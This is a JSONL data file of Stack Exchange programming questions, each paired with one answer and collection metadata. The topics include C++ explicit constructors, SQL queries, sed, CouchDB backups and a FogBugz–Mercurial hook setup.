{"id": "hf_6ef8f4349149", "question": "<p>I have a managed DLL (written in C++/CLI) that contains a class used by a C# executable. In the constructor of the class, I need to get access to the full path of the executable referencing the DLL. In the actual app I know I can use the Application object to do this, but how can I do it from a managed DLL?</p>\n", "question_body": "", "answer": "```\n```\nAssembly.GetCallingAssembly()\n```\n```\nor\n```\n```\nAssembly.GetExecutingAssembly()\n```\n```\nor\n```\n```\nAssembly.GetEntryAssembly()\n```\n```\nDepending on your need.\nThen use Location or CodeBase property (I never remember which one).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.357197"}
{"id": "hf_f2d8c6b441eb", "question": "<p>I have a Web Service (ASMX) with a few Web methods on our production Web server.  On a separate internal Web server (which isn't publicly exposed) I have another Web site that will use the ASMX's public web methods.  What are some of the best ways to secure the Web service such that only the internal Web server can access the Web Services running on the publicly exposed Web server?</p>\n", "question_body": "", "answer": "Assuming you don't have the option of using WCF, I'd advocate using WSE 3 (Web Service Enhancements).  You can get the toolkit / SDK thingummy at\nMS's site\nTo limit the access to only internal machines (as I think your question asked), I'd set up a separate web site in IIS and set it to only respond to the internal IP address of your server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.404560"}
{"id": "hf_e6e4069d7ec6", "question": "<p>What does the <code>explicit</code> keyword mean in C++?</p>\n", "question_body": "", "answer": "The compiler is allowed to make one implicit conversion to resolve the parameters to a function. What this means is that the compiler can use constructors callable with a\nsingle parameter\nto convert from one type to another in order to get the right type for a parameter.\nHere's an example class with a constructor that can be used for implicit conversions:\n```\n```\nclass Foo\n{\nprivate:\n  int m_foo;\n\npublic:\n  // single parameter constructor, can be used as an implicit conversion\n  Foo (int foo) : m_foo (foo) {}\n\n  int GetFoo () { return m_foo; }\n};\n```\n```\nHere's a simple function that takes a\n```\nFoo\n```\nobject:\n```\n```\nvoid DoBar (Foo foo)\n{\n  int i = foo.GetFoo ();\n}\n```\n```\nand here's where the\n```\nDoBar\n```\nfunction is called:\n```\n```\nint main ()\n{\n  DoBar (42);\n}\n```\n```\nThe argument is not a\n```\nFoo\n```\nobject, but an\n```\nint\n```\n. However, there exists a constructor for\n```\nFoo\n```\nthat takes an\n```\nint\n```\nso this constructor can be used to convert the parameter to the correct type.\nThe compiler is allowed to do this once for each parameter.\nPrefixing the\n```\nexplicit\n```\nkeyword to the constructor prevents the compiler from using that constructor for implicit conversions. Adding it to the above class will create a compiler error at the function call\n```\nDoBar (42)\n```\n.  It is now necessary to call for conversion explicitly with\n```\nDoBar (Foo (42))\n```\nThe reason you might want to do this is to avoid accidental construction that can hide bugs.\nContrived example:\nYou have a\n```\nMyString\n```\nclass with a constructor that constructs a string of the given size.  You have a function\n```\nprint(const MyString&)\n```\n(as well as an overload\n```\nprint (char *string)\n```\n), and you call\n```\nprint(3)\n```\n(when you\nactually\nintended to call\n```\nprint(\"3\")\n```\n).  You expect it to print \"3\", but it prints an empty string of length 3 instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.439980"}
{"id": "hf_ab83c040a20d", "question": "<p>What are some of the lesser-known but useful features and techniques that people are using in their Greasemonkey scripts?</p>\n\n<p>(Please, just one feature per answer.)</p>\n\n<p>Similar threads:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/61088/hidden-features-of-javascript\">Hidden Features of JavaScript</a></li>\n<li><a href=\"https://stackoverflow.com/questions/15496/hidden-features-of-java\">Hidden Features of Java</a></li>\n<li><a href=\"https://stackoverflow.com/questions/75538/hidden-features-of-c\">Hidden Features of C++</a></li>\n<li><a href=\"https://stackoverflow.com/questions/9033/hidden-features-of-c\">Hidden Features of C#</a></li>\n</ul>\n", "question_body": "", "answer": "Data can be persisted across page loads by storing it as a mozilla preference value via\n```\nGM_setValue(keyname, value)\n```\n.\nHere is a simple example that tallys the number of times your script has been executed - by a given browser:\n```\nvar od = GM_getValue(\"odometer\", 0);\nod++;\nGM_setValue(\"odometer\", od);\nGM_log(\"odometer=\" + od);\n```\nGM values are analogous to cookies in that cookie values can only be accessed by the originated domain, GM values can only be accessed by the script that created them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.465234"}
{"id": "hf_ecf2749416f7", "question": "<p>What are the compelling features of MFC? Why would you select it for a new project?</p>\n", "question_body": "", "answer": "Quick Tour Of New MFC Functionality\nI hear they have a new ribbon control. If you're into this sort of complexity. Here's a screenshot of a newly generated app:\n(source:\nmsdn.com\n)\nReally, it's just a widget update. So do we need more widgets?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.500662"}
{"id": "hf_59576cc9ba77", "question": "<p>I work with quite a bit of multi-platform C/C++ code, separated by common #defines (#if WIN, #if UNIX, etc).  It would be nice if I could have vim automatically fold the sections I'm currently not interested in when I open a file.  I've searched through the vim script archives, but I haven't found anything useful.  Any suggestions?  Places to start?</p>\n", "question_body": "", "answer": "Just add a folding region to your syntax\nhttp://vim.wikia.com/wiki/Syntax_folding_of_Vim_scripts#Syntax_definitions\n```\n```\n:syn region myFold start=\"\\#IF\" end=\"\\#ENDIF\" transparent fold\n:syn sync fromstart\n:set foldmethod=syntax\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.535658"}
{"id": "hf_c5e724e2c9e0", "question": "<p>Is it legal to add support for a 3rd party file format in my application by reverse engineer a unencrypted binary file format from another application, and reading the contents?</p>\n", "question_body": "", "answer": "Depends on your location.\nIn the EU it is specifically permitted (article 6 EU software convention) to \"reverse engineer file formats for the purpose of interoperability\"\nIn general it's hard to prevent someone reading a file format, there have been examples where you are prohibeted from writing a file because the format contains patented technology (if software patents are allowed in your country). This was the case with GIF for a number of years.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.583454"}
{"id": "hf_e7a4e89a728c", "question": "<p>I would like to convert a string into a node. I have a method that is defined to take a node, but the value I have is a string (it is hard coded). How do I turn that string into a node?</p>\n\n<p>So, given an XQuery method:</p>\n\n<pre><code>define function foo($bar as node()*) as node() {\n  (: unimportant details :)\n}\n</code></pre>\n\n<p>I have a string that I want to pass to the foo method. How do I convert the string to a node so that the method will accept the string.</p>\n", "question_body": "", "answer": "MarkLogic solutions:\nThe best way to convert a string into a node is to use:\n```\n```\nxdmp:unquote($string).\n```\n```\nConversely if you want to convert a node into a string you would use:\n```\n```\nxdmp:quote($node).\n```\n```\nLanguage agnostic solutions:\nNode to string is:\n```\n```\nfn:string($node)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.636938"}
{"id": "hf_da8f6a1896dc", "question": "<p>What is the best (cleanest, most efficient) way to write saturating addition in C?</p>\n\n<p>The function or macro should add two unsigned inputs (need both 16- and 32-bit versions) and return all-bits-one (0xFFFF or 0xFFFFFFFF) if the sum overflows.</p>\n\n<p>Target is x86 and ARM using gcc (4.1.2) and Visual Studio (for simulation only, so a fallback implementation is OK there).</p>\n", "question_body": "", "answer": "```\n```\nuint32_t saturate_add32(uint32_t a, uint32_t b)\n{\n    uint32_t sum = a + b;\n    if ((sum < a) || (sum < b))\n        return ~((uint32_t)0);\n    else\n        return sum;\n} /* saturate_add32 */\n\nuint16_t saturate_add16(uint16_t a, uint16_t b)\n{\n    uint16_t sum = a + b;\n    if ((sum < a) || (sum < b))\n        return ~((uint16_t)0);\n    else\n        return sum;\n} /* saturate_add16 */\n```\n```\nEdit:\nNow that you've posted your version, I'm not sure mine is any cleaner/better/more efficient/more studly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.660925"}
{"id": "hf_38f61a85ba94", "question": "<p>My quick search reveals the reference implementation (<a href=\"http://stax.codehaus.org\" rel=\"noreferrer\">http://stax.codehaus.org</a>), the Woodstox implementation (<a href=\"http://woodstox.codehaus.org\" rel=\"noreferrer\">http://woodstox.codehaus.org</a>), and Sun's SJSXP implementation (<a href=\"https://sjsxp.dev.java.net/\" rel=\"noreferrer\">https://sjsxp.dev.java.net/</a>).</p>\n\n<p>Please comment on the relative merits of these, and fill me in on any other implementations I should consider.</p>\n", "question_body": "", "answer": "Interesting to note that:\nSJSXP performance is consistently faster than BEA, Oracle and RI for all\n      of the documents described here in this study. However, it lags behind\n      Woodstox and XPP3 in some document sizes and in the best cases, exhibits\n      similar performance compared to these two parsers.\nArticle from Sun:\nStreaming APIs for XML parsers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.697665"}
{"id": "hf_296639ce139f", "question": "<p>I'm currently looking for ways to create automated tests for a <a href=\"https://jsr311.dev.java.net/\" rel=\"noreferrer\">JAX-RS</a> (Java API for RESTful Web Services) based web service. </p>\n\n<p>I basically need a way to send it certain inputs and verify that I get the expected responses. I'd prefer to do this via JUnit, but I'm not sure how that can be achieved.</p>\n\n<p>What approach do you use to test your web-services?</p>\n\n<p><strong>Update:</strong> As entzik pointed out, decoupling the web service from the business logic allows me to unit test the business logic. However, I also want to test for the correct HTTP status codes etc.</p>\n", "question_body": "", "answer": "You probably wrote some java code that implements your business logic and then you have generated the web services end point for it.\nAn important thing to do is to independently test your business logic. Since it's pure java code you can do that with regular JUnit tests.\nNow, since the web services part is just an end point, what you want to make sure is that the generated plumbing (stubs, etc) are in sync with your java code. you can do that by writing JUnit tests that invoke the generated web service java clients. This will let you know when you change your java signatures without updating the web services stuff.\nIf your web services plumbing is automatically generated by your build system at every build, then it may not be necessary to test the end points (assuming it's all properly generated). Depends on your level of paranoia.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.732756"}
{"id": "hf_85bd2a6fc714", "question": "<p>How would I go about binding the following object, Car, to a gridview?</p>\n\n<pre>\npublic class Car\n{\n   long Id {get; set;}\n   Manufacturer Maker {get; set;}\n}\n\npublic class Manufacturer\n{\n   long Id {get; set;}\n   String Name {get; set;}\n}\n</pre>\n\n<p>The primitive types get bound easy but I have found no way of displaying anything for Maker. I would like for it to display the Manufacturer.Name. Is it even possible? </p>\n\n<p>What would be a way to do it? Would I have to store ManufacturerId in Car as well and then setup an lookupEditRepository with list of Manufacturers?</p>\n", "question_body": "", "answer": "```\n```\npublic class Manufacturer\n    {\n       long Id {get; set;}\n       String Name {get; set;}\n\n       public override string ToString()\n       {\n          return Name;\n       }\n    }\n```\n```\nOverride the to string method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.756919"}
{"id": "hf_2f3c8ac2912c", "question": "<p>I have a web application that is becoming rather large. I want to separate it into smaller more logical projects, but the smaller projects are still going to need to access some of the classes in the app_code of the main project. What are some good methods to accomplish this?</p>\n", "question_body": "", "answer": "Add a class library project with the common classes and add a reference to this project to each of the new projects.\nSo you'll have the following Solution layout\n```\n```\n/webapp1\n   /default.aspx\n   /....\n/webapp2\n   /default.aspx\n   /....\n/lib\n   /Utils.cs\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.801798"}
{"id": "hf_96eef06c4167", "question": "<p>Is it worth designing a system to expect test accounts and products to be present and active in production, or should there be no contamination of production databases with test entities, even if your shipping crew knows not to ship any box addressed to \"Test Customer\"?</p>\n\n<p>I've implemented messaging protocols that have a test=\"True\" attribute in the spec, and wondered if a modern schema should include metadata for tagging orders, accounts, transactions, etc. as test entities that get processed just like any other entity--but just short of the point where money gets spent. Ie: it fakes charging an imaginary credit card and fakes the shipment of a package.</p>\n\n<p>This isn't expected to be a substitute for a fully separated testing, development, and QA database, but even with those, we've always had the well-known Test SKU and Test Customer in the production system. Harmless?</p>\n", "question_body": "", "answer": "Having testing accounts in production is something I usually frown upon because it opens up a potential security hole.  One should strive to duplicate as much of the production environment in testing as possible but there are obviously cases where that isn't possible.  Expensive production only hardware is a prime example.  I would say as a general practice it should be discouraged but as with all things if you can provide a reason which makes sense to you then you might overlook a hard and fast rule.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.825871"}
{"id": "hf_ef25f3c00fa9", "question": "<p>I need to have a script read the files coming in and check information for verification.</p>\n\n<p>On the first line of the files to be read is a date but in numeric form.  eg: 20080923 \nBut before the date is other information, I need to read it from position 27. Meaning line 1 position 27, I need to get that number and see if it’s greater then another number.</p>\n\n<p>I use the grep command to check other information but I use special characters to search, in this case the information before the date is always different, so I can’t use a character to search on.  It has to be done by line 1 position 27.</p>\n", "question_body": "", "answer": "```\n```\nsed 1q $file | cut -c27-34\n```\n```\nThe\n```\nsed\n```\ncommand reads the first line of the file and the\n```\ncut\n```\ncommand chops out characters 27-34 of the one line, which is where you said the date is.\nAdded later:\nFor the more general case - where you need to read line 24, for example, instead of the first line, you need a slightly more complex\n```\nsed\n```\ncommand:\n```\n```\nsed -n -e 24p -e 24q | cut -c27-34\nsed -n '24p;24q' | cut -c27-34\n```\n```\nThe\n```\n-n\n```\noption means 'do not print lines by default'; the\n```\n24p\n```\nmeans print line 24; the\n```\n24q\n```\nmeans quit after processing line 24.  You could leave that out, in which case\n```\nsed\n```\nwould continue processing the input, effectively ignoring it.\nFinally, especially if you are going to validate the date, you might want to use Perl for the whole job (or Python, or Ruby, or Tcl, or any scripting language of your choice).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.860348"}
{"id": "hf_016865a11551", "question": "<p>I have a large ADO.Net dataset and two database schemas (Oracle) with different constraints.  The dataset will work with either schema, but I want to be able to tell the dataset which schema to use (via connection string) at runtime.</p>\n\n<p>Is that even possible?</p>\n", "question_body": "", "answer": "In the .Net 2.0 world, you can change your connection string on your table adapters at run-time.  You just have to be sure the Connnection property is public, which can be set from the dataset designer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.905753"}
{"id": "hf_0e2124476bc6", "question": "<p>Is there a way to comment out markup in an <code>.ASPX</code> page so that it isn't delivered to the client? I have tried the standard comments <code>&lt;!-- --&gt;</code> but this just gets delivered as a comment and doesn't prevent the control from rendering. </p>\n", "question_body": "", "answer": "Another way assuming it's not server side code you want to comment out is...\n```\n```\n<asp:panel runat=\"server\" visible=\"false\">\n    html here\n</asp:panel>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.944187"}
{"id": "hf_8e2799dc746c", "question": "<p>Table: </p>\n\n<pre><code>UserId, Value, Date.\n</code></pre>\n\n<p>I want to get the UserId, Value for the max(Date) for each UserId. That is, the Value for each UserId that has the latest date. Is there a way to do this simply in SQL? (Preferably Oracle)</p>\n\n<p><strong>Update:</strong> Apologies for any ambiguity: I need to get ALL the UserIds. But for each UserId, only that row where that user has the latest date.</p>\n", "question_body": "", "answer": "I think something like this. (Forgive me for any syntax mistakes; I'm used to using HQL at this point!)\nEDIT: Also misread the question! Corrected the query...\n```\n```\nSELECT UserId, Value\nFROM Users AS user\nWHERE Date = (\n    SELECT MAX(Date)\n    FROM Users AS maxtest\n    WHERE maxtest.UserId = user.UserId\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.980160"}
{"id": "hf_df4ad02a0902", "question": "<p>Has anyone been successful in getting the grails plugin for eclipse to work? How about grails plugin with netbeans?</p>\n", "question_body": "", "answer": "Unfortunately, there hasn't been much progress on the Eclipse plugin for Grails, we have started using\nIntelliJ IDEA\nfor Grails development, the\nJetGroovy\nplugin is excellent and keeps getting better!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.014457"}
{"id": "hf_cf97bf32d065", "question": "<p>When you call the <code>object.__repr__()</code> method in Python you get something like this back: </p>\n\n<blockquote>\n<pre><code>&lt;__main__.Test object at 0x2aba1c0cf890&gt; \n</code></pre>\n</blockquote>\n\n<p>Is there any way to get a hold of the memory address if you overload <code>__repr__()</code>, other then calling <code>super(Class, obj).__repr__()</code> and regexing it out? </p>\n", "question_body": "", "answer": "Just use\n```\n```\nid(object)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.037913"}
{"id": "hf_7ae293608d69", "question": "<p>I need to store items with a calendar date (just the day, no time) in a sqlite database.  What's the best way to represent the date in the column?  Julian days and unix seconds come to mind as reasonable alternatives.  If I go with a unit other than days at what clock time should it be?</p>\n\n<p>Update: I am aware of ISO8601 and actually used it to store the date as a string in YYYY-MM-DD format for the prototype.  But for various arithmetic I have to convert it to some number internally, so I'd prefer to store a number and just convert to string for display.  What units should this number be in, with what origin, and if the units is more precise than days what time of day should be used?</p>\n", "question_body": "", "answer": "If you expect to be handing the date to an external tool or library, you should use whatever format it expects. Unix time seems to be the lingua franca of digital horography, so it's a good default if external circumstances don't make the choice for you.\nISO 8601\nmay be of interest.\nEdit:\nBut for various arithmetic I have to convert it to some number internally, so I'd prefer to store a number and just convert to string for display.\nAh, that makes sense. If your environment (.NET? Python? C++?) has time-handling tools, it would be best to use their native unit and epoch. There's no reason to re-write all those date-manipulation functions; they're trickier than they look. Otherwise, I'd use days in the local (Gregorian?) calendar since a reasonable epoch for your application. Be generous, you don't want a reverse Y2K bug when you suddenly need to handle a date earlier than you ever expected.\nThe time of day is entirely a matter of taste. Midnight seems like the cleanest choice (all zeros in the hour, minute, second fields), but since it never reaches the user there's no practical implications. It would be a good spot for an easter egg, in fact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.059526"}
{"id": "hf_cc32fd49f376", "question": "<p>There is a way to know the flash player version installed on the computer that runs our SWF file with Action Script 3.0?</p>\n", "question_body": "", "answer": "It's in\nflash.system.Capabilities.version", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.095807"}
{"id": "hf_ee2b38d54f8f", "question": "<p>I have inherited a poorly written web application that seems to have errors when it tries to read in an xml document stored in the database that has an \"&amp;\" in it.  For example there will be a tag with the contents: \"Prepaid &amp; Charge\".  Is there some secret simple thing to do to have it not get an error parsing that character, or am I missing something obvious? </p>\n\n<p>EDIT:\nAre there any other characters that will cause this same type of parser error for not being well formed?</p>\n", "question_body": "", "answer": "You can replace & with\n```\n&amp;\n```\nOr you might also be able to use\nCDATA\nsections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.212072"}
{"id": "hf_abd914f85291", "question": "<p>I use the on-demand (hosted) version of FogBugz.  I would like to start using Mercurial for source control.  I would like to integrate FogBugz and a BitBucket repository.\nI gave it a bit of a try but things weren't going very well.  </p>\n\n<p>FogBugz requires that you hook up your Mercurial client to a fogbugz.py python script.  TortoiseHg doesn't seem to have the hgext directory that they refer to in instructions.</p>\n\n<p>So has anyone successfully done something similar?</p>\n", "question_body": "", "answer": "From the sounds of it you are wanting to run the hook on your local machine. The hook and directions are intended for use on the central server.\nIf you are the only one working in your repository or don't mind commit not showing up in FB until after you do a pull, then you can add the hook locally to your primary clone, If you are using your primary clone then you need to do something slightly different from what they say here:\nhttp://bugs.movabletype.org/help/topics/sourcecontrol/setup/Mercurial.html\nYou can put your fogbugz.py anywhere you want, just add a path line to your [fogbugz] section of that repositories hgrc file:\n```\n```\n[fogbugz]\npath=C:\\Program Files\\TortoiseHg\\scripts\\fogbugz.py\n```\n```\nJust make sure you have python installed. you may also wish to add a commit hook so that local commits to the repository also get into FB.\n```\n```\n[hooks]\ncommit=python:hgext.fogbugz.hook\nincoming=python:hgext.fogbugz.hook\n```\n```\nOn the Fogbugz install you will want change put the following in your for your logs url:\n```\n```\n^REPO/log/^R2/^FILE\n```\n```\nand the following for your diff url:\n```\n```\n^REPO/diff/^R2/^FILE\n```\n```\nWhen the hook script runs it connects to your FB install and sends it a few parameters. These parameters are stored in the DB and used to generate urls for diffs and log informaiton. The script sends the url of repo, this is in your baseurl setting in the [web] section. You want this url to be the url to your bitbucket repository. This will be used to replace\n^REPO\nfrom the url templates above. The hook script also passes the revision id and the file name to FB. These will replace ^R2 and ^FILE. So in summary this is the stuff you want to add to the hgrc file in your .hg directory:\n```\n```\n[extensions]\nhgext.fogbugz=\n\n[fogbugz]\npath=C:\\Program Files\\TortoiseHg\\scripts\\fogbugz.py\nhost=https://<YOURACCOUNT>.fogbugz.com/\nscript=cvsSubmit.asp\n\n[hooks]\ncommit=python:hgext.fogbugz.hook\nincoming=python:hgext.fogbugz.hook\n\n[web]\nbaseurl=http://www.bitbucket.org/<YOURBITBUCKETACCOUNT>/<YOURPROJECT>/\n```\n```\nOne thing to remember is that FB may get notified of a checkin before you actually push those changes to bitbucket. If this is the cause do a push and things will work.\nEDIT: added section about the FB server and the summary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.239152"}
{"id": "hf_0995392ac9d0", "question": "<p>In SQL Server what is the simplest/cleanest way to make a datetime representing the first of the month based on another datetime? eg I have a variable or column with 3-Mar-2005 14:23 and I want to get 1-Mar-2005 00:00 (as a datetime, not as varchar)</p>\n", "question_body": "", "answer": "```\n```\nSELECT DATEADD(mm, DATEDIFF(mm, 0, @date), 0)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.289423"}
{"id": "hf_8fedee630e4b", "question": "<p>We're looking at CouchdDB for a CMS-ish application. What are some common patterns, best practices and workflow advice surrounding backing up our production database?</p>\n\n<p>I'm particularly interested in the process of cloning the database for use in development and testing.</p>\n\n<p>Is it sufficient to just copy the files on disk out from under a live running instance? Can you clone database data between two live running instances?</p>\n\n<p>Advice and description of the techniques you use will be greatly appreciated.</p>\n", "question_body": "", "answer": "CouchDB supports replication, so just replicate to another instance of CouchDB and backup from there, avoiding disturbing where you write changes to.\nhttps://docs.couchdb.org/en/latest/maintenance/backups.html\nYou literally send a POST request to your CouchDB instance telling it where to replicate to, and it Works(tm)\nEDIT: You can just cp out the .couch files in the data directory from under the running database as long as you can accept the I/O hit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.325055"}
{"id": "hf_c69ce345fda7", "question": "<p>What is the best way to reduce the size of the viewstate hidden field in JSF?\nI have noticed that my view state is approximately 40k this goes down to the client and back to the server on every request and response espically coming to the server this is a significant slowdown for the user.  </p>\n\n<p>My Environment JSF 1.2, MyFaces, Tomcat, Tomahawk, RichFaces</p>\n", "question_body": "", "answer": "If you are using MyFaces you can try this setting to compress the viewstate before sending to the client.\n```\n```\n<context-param>\n    <param-name>org.apache.myfaces.COMPRESS_STATE_IN_CLIENT</param-name>\n    <param-value>true</param-value>\n</context-param> `\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.348485"}
{"id": "hf_9d0ae51d49bf", "question": "<p>I have the following string and I would like to remove <code>&lt;bpt *&gt;*&lt;/bpt&gt;</code> and <code>&lt;ept *&gt;*&lt;/ept&gt;</code> (notice the additional tag content inside them that also needs to be removed)  without using a XML parser (overhead too large for tiny strings).</p>\n\n<pre><code>The big &lt;bpt i=\"1\" x=\"1\" type=\"bold\"&gt;&lt;b&gt;&lt;/bpt&gt;black&lt;ept i=\"1\"&gt;&lt;/b&gt;&lt;/ept&gt; &lt;bpt i=\"2\" x=\"2\" type=\"ulined\"&gt;&lt;u&gt;&lt;/bpt&gt;cat&lt;ept i=\"2\"&gt;&lt;/u&gt;&lt;/ept&gt; sleeps.\n</code></pre>\n\n<p>Any regex in VB.NET or C# will do.</p>\n", "question_body": "", "answer": "I presume you want to drop the tag entirely?\n```\n```\n(<bpt .*?>.*?</bpt>)|(<ept .*?>.*?</ept>)\n```\n```\nThe ? after the * makes it non-greedy, so it will try to match as few characters as possible.\nOne problem you'll have is nested tags. stuff would not see the second  because the first matched.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.419410"}
{"id": "hf_f96531d58b81", "question": "<p>Ok, so we have clients and those clients get to customize their web facing page. One option we are giving them is to be able to change the color of a graphic (it's like a framish-looking bar) using one of those hex wheels or whatever. </p>\n\n<p>So, I've thought about it, and I don't know where to start. I am sending comps out this week to my xhtml guy and I want to have the implementation done at least in my mind before I send things out. </p>\n\n<p>Something about System.Drawing sounds about right, but I've never worked with that before and it sounds hella complicated. Does anyone have an idea? </p>\n\n<p><strong>UPDATE:</strong> The color of an image will be changing. So if I want image 1 to be green, and image 2 to be blue, I go into my admin screen and enter those hex values (probably will give them an interface for it) and then when someone else looks at their page they will see the changes they made. Kind of like customizing a facebook or myspace page (OMFGz soooo Werb 2.0)</p>\n", "question_body": "", "answer": "What exactly will be changing? Depending on what's changing you may be able to overlay a transparent png on top of an html background color. Just change the background color and the logo color will change. Of course this limits what you can change, but you'd be surprised how much you can get away with.\nAnd yes, the alternative is to paint the image on the web server.\nHere's a post on it from hanselman\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.442774"}
